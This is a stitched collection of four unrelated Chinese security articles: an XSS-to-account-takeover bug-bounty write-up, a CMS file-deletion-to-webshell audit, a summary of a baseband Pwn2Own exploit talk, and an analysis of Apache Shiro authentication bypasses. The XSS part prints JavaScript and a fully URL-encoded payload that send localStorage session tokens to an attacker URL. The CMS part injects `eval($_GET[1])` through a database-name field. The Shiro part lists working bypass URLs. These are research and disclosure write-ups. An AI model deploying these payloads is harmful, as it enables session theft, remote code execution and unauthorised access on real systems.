由于应用依赖于前端，所以创建一个XSS并不会产生任何效果。 在与安全团队合作时，他们的一名团队成员透露：
对于正在测试的应用程序：我们系统中的每个“租户”都是“公司”。 该工具用于为公司内的客户（租户）提供新的潜在客户。
这意味着必须邀请潜在客户加入公司。 它似乎是一个反馈门户，租户用它来了解他们的客户。 但客户如何受到邀请？
事实证明，客户被发送了一封电子邮件并附上填写了某种形式的内容。
### 攻击过程
因此，我从我的主机上发送了一封电子邮件到我的其他电子邮件地址并打开了链接。 此链接具有以下格式：
https://REDACTED.com/redacted_url/url;url=http%3A%2F%2FREDACTED.com%3Aanother_redacted_url/
起初看起来这似乎是一个SSRF，但很快Yash指出请求是从我的浏览器发送的，所以驳回了我对该攻击的理解。由于我一直在寻找SSRF相关的漏洞，所以对我来说是十分失望的。我迅速注入了我的网络钓鱼payload
`https：％2F％2Fmilindpurswani.com％2Fb％2Fphish.html`，这使得网络钓鱼页面被弹出到DOM中。
这里一定有一个XSS且执行了`https://REDACTED.COM/redacted_url/url;url=javascript:alert%28document.domain%29`
通常这足以来证明为该漏洞的POC。 根据该计划的政策页面，由于这是一个反射的XSS，因此它处于低/中等严重程度。
我们对此非常满意，并报告了该问题。在接下来的几天里，这份报告没有回应。
在这段时间里，Yash和我一直在研究这个漏洞利用，我们刚刚意识到系统中存在一些设计缺陷。
这些本身并不是一个漏洞，但当与XSS链接时，将此报告的严重程度更高。 我们做的一些相关观察是：
* 系统未使用cookie来检查经过身份验证的会话。 相反，它依赖于授权标题。
* 该网站使用`Amazon Cognito`进行用户管理，出于某种原因，他们将大量用户信息存储在本地存储中。
* 当用户单击注销时，他已注销帐户，但如果他关闭了窗口，则不会撤消授权token。
* 如果用户从多个设备中的帐户登录然后更改密码，则其会话token不会从其他设备中失效。
我很快写了这个javascript代码，它会窃取授权token并从浏览器中删除会话token。 用户会认为他实际上是从浏览器注销的：
var xmlhttp = new XMLHttpRequest();
var theUrl = "attackers-url"; //Attacker steals the tokens on this address
xmlhttp.open("POST", theUrl);
xmlhttp.setRequestHeader("Content-Type", "application/json;charset=UTF-8");
xmlhttp.send(JSON.stringify({...localStorage}));
localStorage.clear();
我在控制台中测试了它，它有效果。现在唯一需要的是触发XSS引导它执行此代码。 这是POC的最终结果。
https://REDACTED.com/redacted_url/url;url=javascript:%76%61%72%20%78%6d%6c%68%74%74%70%20%3d%20%6e%65%77%20%58%4d%4c%48%74%74%70%52%65%71%75%65%73%74%28%29%3b%76%61%72%20%74%68%65%55%72%6c%20%3d%20%22%61%74%74%61%63%6b%65%72%73%2d%75%72%6c%22%3b%20%2f%2f%41%74%74%61%63%6b%65%72%20%73%74%65%61%6c%73%20%74%68%65%20%74%6f%6b%65%6e%73%20%6f%6e%20%74%68%69%73%20%61%64%64%72%65%73%73%78%6d%6c%68%74%74%70%2e%6f%70%65%6e%28%22%50%4f%53%54%22%2c%20%74%68%65%55%72%6c%29%3b%78%6d%6c%68%74%74%70%2e%73%65%74%52%65%71%75%65%73%74%48%65%61%64%65%72%28%22%43%6f%6e%74%65%6e%74%2d%54%79%70%65%22%2c%20%22%61%70%70%6c%69%63%61%74%69%6f%6e%2f%6a%73%6f%6e%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%22%29%3b%78%6d%6c%68%74%74%70%2e%73%65%6e%64%28%4a%53%4f%4e%2e%73%74%72%69%6e%67%69%66%79%28%7b%2e%2e%2e%6c%6f%63%61%6c%53%74%6f%72%61%67%65%7d%29%29%3b%6c%6f%63%61%6c%53%74%6f%72%61%67%65%2e%63%6c%65%61%72%28%29%3b
我们从受害者处收集到的反馈数据如下：
{"CognitoIdentityServiceProvider.69abj1tqnk40eeug2oju2qnaa7.hkr0x01.accessToken":"REDACTED",
"rememberMe":"true",
"CognitoIdentityServiceProvider.69abj1tqnk40eeug2oju2qnaa7.hkr0x01.clockDrift":"-1",
"username":"hkr0x01",
"CognitoIdentityServiceProvider.69abj1tqnk40eeug2oju2qnaa7.LastAuthUser":"hkr0x01",
"CognitoIdentityServiceProvider.69abj1tqnk40eeug2oju2qnaa7.hkr0x01.idToken":" REDACTED"}
此外，idToken包含以下值：
{
"kid":"o4Ub0oKqDSdJSEElK\/nOF1sI79mjLrj0CFNP2fdobCU=",
"alg":"RS256"
}
{
"sub":"b7bd20bd-c855-4b79-995b-e99fb7f5b61e",
"email_verified":true,"profile":"ROLE_TENANT_USER",
"iss":"https:\/\/cognito-idp.eu-central-1.amazonaws.com\/eu-central-1_REDACTED",
"phone_number_verified":true,
"cognito:username":"hkr0x01",
"preferred_username":"81b619c0-ae28-11e8-9efe-c1f0f85d7f04",
"given_name":"hkr",
"middle_name":"lol",
"aud":"69abj1tqnh40eeug2oju2qnaa7",
"event_id":"3b836566-5dc8-11e9-8441-fd78254b71e5",
"token_use":"id",
"auth_time":1555145042,
"phone_number":"REDACTED",
"exp":1555150790,
"iat":1555147190,
"family_name":"0x01",
"email":"REDACTED
... and then some encrypted values ...
由于我们能够获取刷新token，因此我们可以在较旧的授权token失效时生成新的授权token。
### 所学内容
存储在本地中的会话token不一定能够保护应用程序。
了解应用程序的工作情况并尝试调整攻击向量以发现影响度更高的漏洞非常重要。 很多时候，所谓的“功能”可以被利用到漏洞中。
人们可能无法一个人单独发现影响巨大的漏洞，但可以与伙伴合作，通过创新方法创建更强大的攻击媒介。
本文为翻译文章，来自：https://hackademic.co.in/how-a-classical-xss-can-lead-to-persistent-ato-vulnerability/ | 社区文章 |
# 前言
这两天挑了款 cms 审计了一下。还是 tcl ，没审计出什么很厉害的洞。分享一下挖的思路
# 漏洞分析
找了一圈关键字，找到一处：
后台的删除幻灯片处：
我们看到有一句：
@unlink(APP_PATH . '..'. DS . $yfile);
而 `$yfile` 是哪里来的呢？
$yfile = str_replace($yuming['option_value'],'',$slide['slide_pic']);
`$slide` 是从数据库里查出来的。
临时跳一下，跳到 `添加幻灯片` 处。看看我们的 `slide_pic` 是怎么加进去的。
可以看到是获取了 `slideshow` 这个参数。这里并没有任何检查
我们再跳回 `removeSlide` 这个函数。
我们会发现在 `unlink` 前有个 `if`：
if(!empty($yfile) && $this->isLegalPicture($slide['slide_pic'])){
没错，`isLegalPicture` 这个函数就是检查函数，这个函数大概做了两件事：
1. 判断文件名后缀是否为图片（白名单
2. 判断文件名是否带有 `/data/`
这里第二个条件，是要 `dirname` 含有 `/data/`，不能是 `/data/a.jpg` ，但可以是 `/data/a/a.jpg`
现在知道变量来源了，我们再精简一下代码，把关键代码剪出来：
$yfile = str_replace($yuming['option_value'],'',$slide['slide_pic']);
if($this->isLegalPicture($slide['slide_pic'])){
@unlink(APP_PATH . '..'. DS . $yfile);
}
没错，这里最大的问题就是 `isLegalPicture` 的传参 和 `unlink` 的传参不一致。
我们会发现上面有个 `str_replace`，他会把 `$yuming['option_value']` 替换成 `空`
那么我能不能让 `$yuming['option_value']` 变成一些特殊的值呢？
那么这个东西是什么呢？这玩意儿其实就是。
这里修改虽然前端有限制，但是挡不住我们万能的 `bp`（后端没有限制）。
现在我们就可以想想怎么利用了：
1. 修改幻灯片为 /data/b/111.jpgapplication/install.lock/data/b/111.jpg
2. 修改 `站点域名` 为 `/data/b/111.jpg`
3. 删除指定幻灯片
删除时把 `/data/b/111.jpg` 替换为空，就是 `application/install.lock` 了。
# 漏洞复现
首先 登陆后台，输入账号密码后可能会显示这个：
但是这里过滤不严，我们可以直接访问：`/admin/Index/web.html`。
（首先我们要先抓到 修改幻灯片 和 删除幻灯片的包，因为我们修改了站点域名之后 `js` 和 `css` 会直接加载不出来。。。）
抓 `系统设置 => 网站信息` 的包，然后 `domain` 参数改成：`/data/b/111.jpg`
此时的 `options` 表：
然后 修改幻灯片 的数据包中，把 `slideshow`
改为:`/data/b/111.jpgapplication/install.lock/data/b/111.jpg`
用刚刚抓到的删除包 `repeater` 一次就好了：
这时候我们再看的 `application` 目录就已经删掉了。但是如果我们想写 `shell` 我们还得把 `application/.htaccess`
删掉。
我们把 id=2 的 幻灯片改成图片：`/data/b/111.jpgapplication/.htaccess/data/b/111.jpg`
这里就不截图了。
删除之后：
然后我们就可以重新安装了：
这里我们不知道服务器的 `mysql` 账号密码的话，可能需要将 `数据库服务器` 的地址修改成网络上的，也可以是自己的 `vps` 。
然后把 数据库名 修改成：`',eval($_GET[1]),'`
其他的正常填，下一步。。
看看 `application/database.php` 文件：
# 总结
审了很久，也许是经验不太够（太菜），只审出了一个 `laji` 洞。
总结一下这个洞，大概就是传递的参数不同导致的，实际开发中还是不能太粗心，保证参数的统一。 | 社区文章 |
作者：[腾讯科恩实验室](https://mp.weixin.qq.com/s/3Ulkezdm4FwPOe9F97coIg "腾讯科恩实验室")
#### 议题概要
据估计，全球有超过30亿的智能手机，而基带是智能手机的重要组成部分，负责处理和与移动无线网络(如2G、3G、4G等)通信。因此对基带进行安全性评估的重要性不容小觑。由于目前有关基带的研究主要是用于灰色产业，因此公开的研究资料非常有限。此外，无线电协议和软件的复杂性也导致基带研究的门槛非常高。基带可以在无需任何用户交互的情况下从无线网络远程访问，这个特性也让它具有非常高的研究价值。
本议题将讨论现代智能手机基带设计以及安全对策。该议题将以Mobile Pwn2Own
2017基带项目中使用的0day漏洞为例，阐述腾讯安全科恩实验室发现并利用该漏洞实现远程代码执行的过程和细节。通过利用该漏洞，腾讯安全科恩实验室最终完成了在更新后的华为Mate
9
Pro上无用户交互条件下的远程代码执行，并在该项目上赢得了10万美元奖金。华为也在第一时间响应并打补丁解决了这个问题，展现了企业非常专业的合作精神与责任担当。更多详细信息欢迎关注腾讯科恩实验室官方微信号：KeenSecurityLab，回复“基带安全”即可获得《现代智能手机基带破解》研究技术细节白皮书！
#### 作者简介
Marco
Grassi，腾讯科恩实验室高级研究员，研究涉猎iOS、Safari、VMWare、基带等多个方向，多次作为核心成员参与Pwn2Own、Mobile
Pwn2Own并获得冠军，多次在国际安全会议上进行演讲，包括Black Hat USA, DEF CON, CanSecWest, ZeroNights,
Codegate, HITB and ShakaCon等。
刘穆清，腾讯科恩实验室安全研究员，主要研究固件安全、二进制分析、安全研究工具开发，同时也是CTF选手，作为腾讯eee战队及0ops战队队员曾多次参与CTF比赛，并和A
_0_ E联队成员一起参与了今年的DEF CON CTF。
谢天忆，腾讯科恩实验室高级研究员，CTF选手，腾讯eee战队及A _0_ E联队队长，Pwn2Own 2017 VMware项目冠军队伍成员，Mobile
Pwn2Own 2017 Baseband项目及“Master of Pwn”冠军队伍成员。
#### 议题解析
现代智能手机是一个非常复杂的系统，它包含一个主CPU以及许多次级CPU，这些CPU共同协作完成各项任务。其中，主CPU也可以称为AP(应用程序处理器)。在这些CPU中，我们可以找到Wi-Fi SoC模块和基带模块。
AP运行各种操作系统(如Android或iOS)，而基带运行RTOS(实时操作系统)。它们作为系统独立存在，通常通过USB、PCI-e、共享内存或其他机制进行通信。如果仅在基带上实现代码执行，并不意味着可以在AP上实现代码执行。
事实上，让我们决定将研究目标定位在基带模块的原因有许多，主要原因如下:
1. 基带不太容易理解并且攻击面审计比较少；
2. 基带可以在远距离且在无需用户交互的情况下远程破解；
3. 基带在漏洞利用的缓解措施方面，相比较现代操作系统(如Android和iOS)要落后一些。
4. 由于基带一般是来自第三方，因此设备制造商没有办法审计基带源代码。
5. 基带是一个非常复杂的系统。
基带基本上就是一个在手机独立的CPU中运行的固件黑盒。在某些方面，它和物联网设备类似，其上运行一个实时操作系统(RTOS)，负责调度系统组件的各种任务。由于基带芯片需要支持多种协议栈，其实现通常非常复杂。相关的协议规范文档通常就有数万页之多。
一般来说，在系统中，每个网络层都有一个任务与其对应,例如MM任务,SM任务等。通过定位无线电消息被解析和处理的地方可以更容易地找到消息处理程序，之后就可以开始寻找消息处理程序的内存泄露错误。
作为第一步，我们需要找到并分析固件。由于我们将华为作为一个研究案例进行展示，所以我们将重点关注该固件。
我们可以在Android phone文件系统中找到文件名为“sec_balong_modem.bin”的固件文件。
该文件由Android内核加载并传递给TEE(可信执行环境)进行签名检查，再将其加载到基带中。我们使用IDA Pro对其进行逆向分析。
在分析过程中，我们迅速注意到华为基带缺乏ASLR和栈cookie，此外，其他许多厂商也缺乏这些保护措施。第二步我们收集运行时信息。之前是通过使用“cshell”在基带上获得有限的调试能力，但最近它被移除了。
我们尝试后发现当基带崩溃时，它会将有用的日志输出给AP用来进行日志记录。除此之外，当我们在Android内核中运行代码，我们可以在物理内存0x80400000地址开始读取数据来获取基带内存数据。这为我们后续调试基带利用方案提供很大帮助。
我们还可以找到一个描述NVRAM格式的开源项目，开源项目地址为:https://github.com/forth32/balong-nvtool。
网上其他的信息也非常有用。我们花了一些时间做调研，在GitHub发现一个泄漏的旧版本华为基带源代码。尽管代码并不是最新的，但这份源代码对于逆向工程起到很大的帮助作用。此外，我们还在网上找到理解无线电协议所需的所有3GPP规范。
但是我们究竟是如何攻击基带呢?
毋庸置疑的是我们一定是通过无线电通信进行攻击的。这种攻击的“传统”思路是模拟一个假基站，然后攻击手机。
最常见的方法是使用SDR(软件定义无线电)。一方面，SDR的价格在可接受的范围内，另一方面，一些开源工程为我们的研究提供了帮助。这些积极因素有效地降低了我们的研究难度。SDR可以是USRP(通用软件无线电外设)或BladeRF(USB
3.0超高速软件定义无线电)。一台带有SDR的笔记本电脑就可以模拟一个基站(BS)。由于一些无线电技术没有采用相互认证的方式，因此手机会连接到那些恶意构造的伪基站。
但实际真的那么好利用吗？事实并没有想象的那么简单，我们并不能直接使用SDR和开源软件。我们Pwn2Own漏洞实际是在华为基带的CDMA(码分多址)部分。CDMA是一种3g网络，在部分地区也有使用UMTS(通用移动通信系统)进行3G网络传输。
我们使用的bug是在CDMA 1x SMS传输层消息部分中一个负责解析PRL(出国优选漫游列表)消息的函数中。这个bug的简化版本如下:
这里我们注意到了一个函数：memcpy_s。这个函数和memcpy一样，可以将指定长度的数据复制到另一块内存区域中，但和memcpy不同，除了原有的三个参数（源地址、目的地址和源数据长度）外，该函数还增加了一个size_t类型的参数，用来表示目的地址的存储空间大小。利用这个参数，在复制时，memcpy_s函数可以检查被拷贝的数据大小不会超过目的地址的大小，从而在无意中避免了很多bug。
但这并不会影响我们要利用的漏洞，因为我们控制拷贝数据的目的地址而不是长度。我们在了解memcpy_s的基础上再来查看这个bug，可以看到消息处理器在解析消息时，会提取部分偏移量/长度，然后在没有检查的情况下，它们被添加到byte_pos，从而导致可利用的栈溢出。
那么我们该如何触发这个bug呢?首先需要建立一个CDMA网络。但这并不容易。目前并没有公开的实现方法可以在SDR上运行运行CDMA
1x基站。我们也没有时间自己再实现一遍，所以我们想出了一个不走寻常路的解决方案。我们购买并更改了一台Rohde&Schwarz CMU200设备。
这台设备本身是用来测试设备的信令和非信令功能。它还支持CDMA 1x标准，我们将通过逆向工程以及打补丁的方式使用这台设备完成发送任意数据包的需求。
这台设备常规的工作流程如下:
但我们希望设备可以直接转发PDU而不对其进行编码和数据包组装：
那么该怎么做才能实现这样的目标呢？CMU 200运行在MS-DOS和Windows
3.x版本系统上，用户可以在UI图形界面中发送短消息。我们首先研究设备的文件系统以及逆向PE文件。
我们找到一个名称为“C2KMS.DL3”的文件，这个文件会读取短消息的文件内容，并将短消息传送到B83
CDMA模块进行发送。我们在这里更改了一个长度检查，但是我们不能完全控制数据。
所以我们需要进一步修改B83模块固件。我们在文件系统中找到了B83固件，在恢复文件格式之后，对它进行逆向分析。
非常幸运的是，首先B83子板基于PowerPC平台(一种精简指令集RISC的中央处理器架构)，而我们也有其固件对应的反编译器。其次，固件本身没有进行签名检查，只有CRC(循环冗余校验)。此外，二进制文件中符号表数据也保留着!
我们继续定位“buildSmsMsg”函数，并修改函数使得可以携带任意数据。然后我们刷新B83模块，此时我们就可以发送任意的PDU(协议数据单元)了。
现在我们将要尝试触发bug并使基带crash!我们该如何利用这个bug呢?这个过程也并不像看起来那么简单! 攻击payload是一条畸形的CDMA 1x
SMS传输层消息。其SMS_MSG_TYPE字段必须是00000000，表示SMS点对点消息。
该消息由TLV格式的参数组成，其中一些参数必须被设置正确才能确保触发有漏洞的函数，包括:
* Teleservice Identifier(PARAMETER_ID 00000000)
* Originating Address(PARAMETER_ID 00000010)
在这些参数中，Bearer Data(PARAMETER_ID 00001000)会在漏洞函数中被解析：
Bearer Data(PARAMETER_ID
00001000)在漏洞函数中被解析为由TLV格式的子参数组成的结构。为此我们必须适当地配置子参数以表示该消息为PRL消息。
类型为Message Display Mode (SUBPARAMETER_ID 00001111)的子参数最为关键，其中：
* MSG_DISPLAY_MODE字段必须设为0x03
* RESERVED字段必须设为0x10
漏洞代码的基本功能是对Bearer
Data中的子参数进行排序，缓冲区溢出就发生在该部分代码中。乍一看，这种利用似乎非常容易，因为没有NX/ASLR/Stack
Canary等保护措施，看起来就像90年代的典型栈溢出利用。但这是真的吗?
事实上，尽管有多条路径可以触发漏洞函数，但并不是所有的路径都可以通过空口消息触发。其中有一条路径可以通过空口消息触发，但是此时能够被溢出的那个缓冲区并不在栈上，而是在全局变量段中。还有另一条将缓冲区放在栈上的路径，但限制条件是只有当手机从USIM卡中读取短消息的时候才能触发，看上去对远程利用这个漏洞没什么帮助。到这里为止，所有的可能性都被考虑过了，但仍然没有发现任何明显可行的方法，似乎前方是一条没有出口的死路。
但永不放弃始终是我们的信条。通过对该部分逻辑更深刻地理解，我们最终找到了一条非常深但是十分稳定的路径。
基带处理PRL消息的整个过程如下：
* 通过空口接收信息
* 解码消息(第一次触发漏洞函数，但缓冲区不在栈上)
* 编码消息
* 将消息写入USIM卡
* 从USIM卡中读出信息
* 解码消息(第二次触发漏洞函数并且缓冲区在栈上)
Payload必须能通过第一次解码和编码的过程，并在第二次解码的过程中溢出栈缓冲区。为了构造这样的payload，我们需要一些简单的数学上的抽象：
* Payload:x
* 解码函数——dec(x)
* 编码函数——enc(x)
* 栈溢出ROP链:p
* 目标:对于给定的p，找到一个x使得p = dec(enc(dec(x))) 让我们用更优雅、更数学的方法来解决这个数学问题。我们的目标变为: 对给定的p，找到一个x，使得p = dec(x)且x = enc(dec(x))
* 这里的x也称为复合函数enc(dec(x))的不动点
因此可以很容易导出p = dec(x) =
dec(enc(dec(x)))，正是我们想要的结果。通过这种方法构造的payload适用于任意多次的解码和编码过程，而不仅仅是一两次。此外，CMU200设备限制TP层消息（也就是我们的payload）的长度必须小于等于130字节，更给我们的构造过程增加了难度。
事实证明，构造这个Payload并不是一帆风顺的，但它是可以实现的!
更多细节请阅读我们的白皮书。我们也把这个漏洞的利用过程改编成了今年TCTF预选赛中的一道pwnable题目——Mighty
Dragon，其名字正是来源于基带的代号“霸龙”。在当时的比赛中仅有一支队伍解出了这道题目，可见这道题是非常有挑战性的，欢迎感兴趣的小伙伴踊跃尝试，关注微信号“KeenSecurityLab”并回复“Mighty
Dragon”获取题目下载链接。
在我们实现漏洞利用之后，我们如何展示呢?我们不能像在Windows上那样运行一个calc.exe计算器可执行程序来进行演示。最终，我们决定将手机IMEI修改成1337XXX，这样我们可以从手机设置UI看到修改后的变化。
在成功得到基带中的代码执行能力后，我们可以得到很多信息，比如间谍短信，电话，互联网流量，甚至可以修改这些信息。尽管比赛没有要求完成基带绕过，但许多其他研究人员的研究结果表明这是可以实现的。例如Project
Zero的Gal使用WiFi芯片中的DMA来修改内核内存，Comsecuris使用MTK基带中的路径遍历来覆盖AP中的文件。这也和浏览器漏洞类似，在实现第一个RCE(远程代码执行)之后，你可以结合沙箱逃逸漏洞构建完整的攻击链。基带在实现第一个RCE之后，也可以构建一条基带逃逸攻击链，并得到完整的系统控制。
最后，我们想和大家说的是，只要你足够坚定，在现代基带实现远程终端控制是完全有可能的。这种攻击也是真实的存在的。究其根本，一方面基带是由内存不安全的语言编写的，因此无法避免内存破坏问题，另一方面，基带安全也一直没有受到足够的重视。
我们也希望基带在未来的部署中可以考虑更多安全缓解措施，也许将来也会用内存安全的语言编写基带。
* * * | 社区文章 |
# Shiro 权限绕过的历史线（下）
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x5 CVE-2020-13933
### 0x5.1 漏洞简介
影响版本: shiro<1.6.0
类型: 权限绕过
其他信息:
这个洞跟CVE-2020-11989有点相似的地方就是就是利用URL解码的差异性来实现绕过。
[CVE-2020-13933：Apache Shiro
权限绕过漏洞分析](https://www.anquanke.com/post/id/218270)
### 0x5.2 漏洞配置
这个洞是不会受到Spring的版本限制的。
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-web</artifactId>
<version>1.5.3</version>
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-spring</artifactId>
<version>1.5.3</version>
</dependency>
Shiro配置,这个洞也是有限制的只能是ant的风格为单*号才可以:
map.put("/hello/*", "authc");
@ResponseBody
@RequestMapping(value="/hello" +
"" +
"/{index}", method= RequestMethod.GET)
public String hello1(@PathVariable String index){
return "Hello World"+ index.toString() + "!";
}
### 0x5.3 漏洞演示
访问302，然后poc:
`/hello/%3bluanxie`
看到这个POC的时候，我当时就觉得我前面分析两个洞的时候，是不是漏了什么关键点没去分析。
然后最让我头疼的的是，为什么需要对`;`要编码才能利用成功,下面我们通过分析来复盘我们前两次学习过程出现的问题。
### 0x5.4 漏洞分析
断点依然是在上一次的修补点:
org.apache.shiro.web.util.WebUtils#getPathWithinApplication
这里我们逐步跟进去，上一次我没跟`removeSemicolon`,
因为从函数名这个其实就是Shiro一直以来的操作，就是去除`;`号后面的内容,然后`normalize`,这个并没有很大问题。
然后函数返回的结果是这个:
本来应该获取到uri的是`/hello/`,然后因为最早的那个shiro-682的洞，所以会执行去掉末尾的斜杆。
if (requestURI != null && !"/".equals(requestURI) && requestURI.endsWith("/")) {
requestURI = requestURI.substring(0, requestURI.length() - 1);
}
变成了:`/hello`
首先通过，`Iterator var6 =
filterChainManager.getChainNames().iterator()`获取了我们定义的filter，进入do循环逐个取值给`pathPattern`
其实都没必要去看这个算法怎么做匹配的，因为`/hello/*`本来就不会匹配`/hello`,
那么这样,如果是这样呢,`map.put("/hello/", "authc");`,emm,在取出来进行匹配的时候，
就会被去掉`/`,那么我来多几个呗。
map.put("/hello//", "authc");
稍微绕过了
这个时候我们就可以回头去读一下Shiro的匹配算法了。
> 首先是如果`pattern`和`path`开头不一样直接false
>
> 然后就是`StringUtils.tokenizeToStringArray`分割字符串得到数组
>
> 然后一个循环，比较，如果出现某数组字符串不匹配，除开`**`就会返回`false`
>
> 只要没有`**`出现的话，且字符串数组=1，就没那么复杂的解析过程，直接返回
>
>
> pattern.endsWith(this.pathSeparator) ? path.endsWith(this.pathSeparator)
> : !path.endsWith(this.pathSeparator);
>
>
> 如果pattern是以/结尾的话，那么是
> True,返回`path.endsWith(this.pathSeparator)`,这个时候path不是以`/`结尾的，所以最终也不匹配。
>
> 如果是`/*`的话，字符串数组>1,
>
> 那么最终会进入
>
>
>
> 这个过程说明,`/hello/*`
> 可以匹配`/hello/`,但是没办法匹配到`/hello`,然后shiro又做了去除/处理，emmm，根本不可能构造出`/hello/`，构造出来也没啥可用的
>
>
> 但是如果是,`/hello/**`,这里就不返回false，直接跳到下面了，最终会返回True，没办法绕过。说明`/hello/**`可以匹配到`/hello`
其实来到这里我们就明白了，第一步通过`%3b`解码成`;`,然后以前的洞删掉了`/`,导致了bypass Shiro。
如果我们不用`%3b`,而是直接
那么`;`直接会被`request.getServletPath()`处理掉，从而变成了`/hello/aa`,被`/hello/**`这种ant所匹配，导致第一层都没办法绕过。(这个其实就是cve2020-1957的绕过思路呀！肯定是没办法的呀)
### 0x5.5 漏洞修复
说实话，关于这个洞，我当时思考的修复方式是，好像只能是去屏蔽%3b这个字符了，感觉真的很无奈。
diff:[https://github.com/apache/shiro/compare/shiro-root-1.5.3…shiro-root-1.6.0](https://github.com/apache/shiro/compare/shiro-root-1.5.3...shiro-root-1.6.0)
发现确实新增[InvalidRequestFilter.java](https://github.com/apache/shiro/compare/shiro-root-1.5.3...shiro-root-1.6.0#diff-bd4bf9dfa4cc7521c708850ac5d397fee22b021ea09a3a91f7ce1587abc287d7)，但是具体作用不知道在哪里起的，
然后在这个文件被调用:
[support/spring/src/main/java/org/apache/shiro/spring/web/ShiroFilterFactoryBean.java](https://github.com/apache/shiro/compare/shiro-root-1.5.3...shiro-root-1.6.0#diff-c2ca6676fe2316741dba8f6005b165ad79d7c12d7e2d31f0c8883a55a03d77ff)
这个文件新增了一个`/**`匹配没有设置filter类型，用于解决失配的时候还是可以调用默认的过滤器
然后输入特殊字符的时候，过滤器会进行过滤，关于是如何进行过滤的，值得详细写一篇文章，这里我们只要知道它的修复方式，是做了特殊字符，存在就抛出400就行了。
`return !this.containsSemicolon(uri) && !this.containsBackslash(uri) &&
!this.containsNonAsciiCharacters(uri);`
## 0x6 CVE-2020-17510
### 0x6.1 漏洞简介
影响版本: shiro<1.7.0
类型: 权限绕过
其他信息:
中风险，需结合Spring使用环境，危害偏低一点
### 0x6.5 漏洞分析
diff:[https://github.com/apache/shiro/compare/shiro-root-1.6.0…shiro-root-1.7.0](https://github.com/apache/shiro/compare/shiro-root-1.6.0...shiro-root-1.7.0)
改动:
这个洞我发现他增加了`request.getPathInfo`的方式检测字符，而在Spring-boot默认这个值是空，但是在其他情况，这个值可控的话，我们可以在这里插入`;`和`..`实现绕过，结合前面的分析，可以知道URI是由`request.getServletPath
+
request.getPathInfo`得到的，所以是可以去绕过的，不过由于这个洞鲜少人讨论，作者也没去公开，这个利用方式研究价值很低，笔者对此没有很大兴趣，所以就没去折腾场景来利用，
欢迎其他师傅感兴趣地话继续研究。
## 0x7 CVE-2020-17523
### 0x7.1 漏洞简介
影响版本: shiro<1.7.0
类型: 权限绕过
其他信息:当`Apache Shiro`与`Spring框架`结合使用时，在一定权限匹配规则下，攻击者可通过构造特殊的 HTTP 请求包绕过身份认证。
### 0x7.2 漏洞配置
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-web</artifactId>
<version>1.6.0</version>
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-spring</artifactId>
<version>1.6.0</version>
</dependency>
这个漏洞我建议spring-boot用2.4.5的，这个版本默认会开启全路径匹配模式。
> 当Spring
> Boot版本在小于等于2.3.0.RELEASE的情况下，`alwaysUseFullPath`为默认值false，这会使得其获取ServletPath，所以在路由匹配时相当于会进行路径标准化包括对`%2e`解码以及处理跨目录，这可能导致身份验证绕过。而反过来由于高版本将`alwaysUseFullPath`自动配置成了true从而开启全路径，又可能导致一些安全问题
### 0x7.3 漏洞演示
通杀版本:`/hello/%20`
高版本默认支持:`/hello/%2e/` 或者 `/hello/%2e`
其实这个洞，基于之前的%3B实现绕过的思路，其实很容易想到去Fuzz下的，看看除了%3B是不是还有其他字符可以在Shiro中造成失配，而Spring-boot可以正常匹配的，都不用去分析具体代码的，就可以拿到的一个ByPass。
但是这两种绕过方式其实非常不同的，出现在了两个不同地方的错误处理方式。
### 0x7.4 漏洞分析
**第一种绕过方式分析:**
断点打在`org.apache.shiro.web.util.WebUtils#getPathWithinApplication`
这里处理结果和前面一样，解码了所以变成了空格。
跟进这里看匹配，
很明显，这里和上次分析结果是一样的，最终还是因为`*`返回了false，否则True。
那么为什么会这样呢？ 那为什么`/hello/aa`这样就不行呢?
其实就是`StringUtils.tokenizeToStringArray`没有正确分割字符串导致的？ %20
应该是被当做空字符了，导致分割的数组长度=1，就会进入那个return false.
所以这里成功Bypass了Shiro的检测，最后让我们来看下Spring-boot是怎么处理的
断点:`org.springframework.web.servlet.DispatcherServlet#doDispatch`
逐步跟到:`org.springframework.web.servlet.handler.AbstractHandlerMethodMapping#lookupHandlerMethod`
这里是根据`lookpath`进行匹配，没有直接被找到
下面进入用`RequestMapping`注册的列表来匹配:
这里继续进入匹配:
最终这个`org.springframework.util.AntPathMatcher#doMatch`进行了解析，和之前算法差不多，但是
`this.tokenizePath(path)`返回的结果是2包括%20,所以可以匹配成功,最终解析到了`/hello/{index}`
**第二种绕过方式分析:**
这个其实在分析cve-2020-13933的时候,我就考虑过这种方式去绕过(部分原理相同，利用默认去掉`/`造成的失配)，然后当时实践了，由于采取了低版本的spring-boot，默认没开启全路径匹配模式，导致我当时没成功。
首先说一下网上有些文章，分析的时候不够全面，但是又概括性总结了原因，有一定的误导，这里我列出我的debug结果
`/hello/%2e`->request.getServletPath()->`/hello/`
`/hello/%2e/`->request.getServletPath()->urldecode->`/helo/`
`/hello/%2e%2e` ->request.getServletPath() -> urldecode->`/`
也就是说，request.getServletPath()针对`%2e`会先解码，然后对此进行处理。
所以洞出现的问题是:
request.getServletPath()
处理这种URL时候会返回`/hello/`,然后shiro默认会去掉最后`/`,然后再进行匹配,导致了绕过。
### 0x7.5 漏洞修复
diff:[https://github.com/apache/shiro/compare/shiro-root-1.7.0…shiro-root-1.7.1](https://github.com/apache/shiro/compare/shiro-root-1.7.0...shiro-root-1.7.1)
这个处理就可以避免空白字符没被正确分割出来的问题,解决了第一种绕过问题。
然后可以看到这里为了避免`%2e`,这里首先去掉了之前shiro-682,为了修补末尾`/`绕过问题，做的一个去掉默认路径`/`的操作。
然后后面写了个if/else的判断
先不去掉`/`来做匹配，如果匹配失败，在考虑去掉`/`,这样考虑是基于以前的问题和现在的问题共同考虑
首先以前是 `/hello`被`/hello/`实现了绕过,那么在做匹配的时候，那么第一次匹配失败，然后进入了第二个去掉`/`匹配成功
现在是`/hello/*`被先`/hello/`默认去掉`/`->`/hello`实现了绕过，那么在做匹配的时候，第一次先保留`/hello/`可以成功被`/hello/*`匹配。
## 0x8 总结
漏洞的最基本原理，通俗来说就是，一个原始恶意构造地URL
，首先要绕过Shiro的判断，然后被Spring解析到最终的函数，也就是Shiro解析URL和Spring解析URL的差异性。然后多次Bypass都是针对实现解析的环节存在一些问题导致。
